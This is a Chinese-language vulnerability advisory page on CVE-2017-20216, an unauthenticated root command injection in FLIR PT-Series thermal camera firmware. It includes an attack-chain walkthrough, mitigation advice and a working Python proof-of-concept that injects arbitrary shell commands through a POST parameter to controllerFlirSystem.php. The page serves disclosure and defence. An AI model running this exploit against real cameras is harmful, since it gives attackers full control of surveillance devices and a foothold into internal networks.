IPBUF安全漏洞报告
English
CVE-2017-20216 CVSS 9.8 严重

FLIR PT-Series摄像头固件远程命令执行漏洞 (CVE-2017-20216)

披露日期: 2026-01-08

漏洞信息

漏洞编号
CVE-2017-20216
漏洞类型
远程命令执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
FLIR Thermal Camera PT-Series

相关标签

远程命令执行命令注入RCEFLIR摄像头物联网安全未授权访问固件漏洞CVE-2017-20216

漏洞概述

CVE-2017-20216是FLIR公司生产的Thermal Camera PT-Series摄像头固件8.0.0.64版本中的一个严重安全漏洞。该漏洞存在于Web管理界面的controllerFlirSystem.php脚本中,由于execFlirSystem()函数对用户提交的POST参数缺乏有效的输入过滤和验证,直接将用户可控数据传递给shell_exec()系统调用执行,导致攻击者可以在无需任何认证的情况下,通过构造恶意请求向摄像头系统注入任意系统命令。成功利用此漏洞后,攻击者可以root最高权限在受影响的设备上执行任意代码,完全控制摄像头设备,并可将其作为内网渗透的跳板或僵尸网络的一部分。由于该摄像头设备通常部署在关键基础设施、工业控制系统、企业安防监控等敏感场景,漏洞的潜在危害极大。Shadowserver Foundation于2026年1月6日观测到该漏洞已被在野利用。

技术细节

该漏洞的根本原因在于PHP脚本中使用了不安全的shell_exec()函数调用,且未对用户输入进行任何命令注入防护。攻击者可以通过构造包含命令分隔符(如分号、管道符、反引号等)的恶意POST参数,突破原有的命令执行逻辑,注入额外的系统命令。具体攻击方式为:攻击者向controllerFlirSystem.php端点发送精心构造的HTTP POST请求,在POST参数中嵌入系统命令(如whoami、cat /etc/passwd等),由于参数值直接拼接到shell命令中执行,注入的命令将被系统以root权限执行。攻击者可以利用此漏洞执行反弹shell、下载恶意载荷、修改系统配置、窃取视频流数据或横向移动攻击内网其他设备。由于漏洞存在于Web服务进程中,攻击者无需任何凭据即可触发漏洞,攻击门槛极低但危害极大。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标摄像头设备,确认其为FLIR PT-Series产品,并探测Web管理界面可访问
STEP 2
步骤2: 漏洞探测
攻击者访问controllerFlirSystem.php端点,发送测试请求确认漏洞存在
STEP 3
步骤3: 命令注入
攻击者构造包含恶意命令的POST请求,利用分号等分隔符注入额外系统命令
STEP 4
步骤4: 权限提升
注入的命令以root权限执行,攻击者获得设备的完全控制权
STEP 5
步骤5: 持久化控制
攻击者可植入后门、建立反弹shell或下载恶意载荷,实现长期控制
STEP 6
步骤6: 横向移动
以被控摄像头为跳板,探测内网其他设备并发起进一步攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2017-20216 PoC - FLIR PT-Series Unauthenticated Remote Command Execution # Target: FLIR Thermal Camera PT-Series firmware <= 8.0.0.64 def exploit(target_ip, command): """ Exploit the command injection vulnerability in controllerFlirSystem.php """ url = f"http://{target_ip}/controllerFlirSystem.php" # Payload construction - inject command via POST parameter # Using semicolon to chain commands payload = f";{command};#" data = { 'action': 'execFlirSystem', 'cmd': payload } try: response = requests.post(url, data=data, timeout=10) print(f"[*] Command executed: {command}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response:\n{response.text}") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_ip> <command>") print(f"Example: python {sys.argv[0]} 192.168.1.100 'whoami'") sys.exit(1) target = sys.argv[1] cmd = sys.argv[2] exploit(target, cmd)

影响范围

FLIR Thermal Camera PT-Series firmware <= 8.0.0.64

防御指南

临时缓解措施
在网络层面实施访问控制,通过防火墙或ACL限制只有授权管理IP才能访问摄像头Web管理界面;暂时关闭不必要的摄像头Web管理功能;部署WAF规则阻断包含命令注入特征的请求(包含分号、管道符、反引号等特殊字符);加强网络监控,发现异常访问行为及时告警和阻断。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表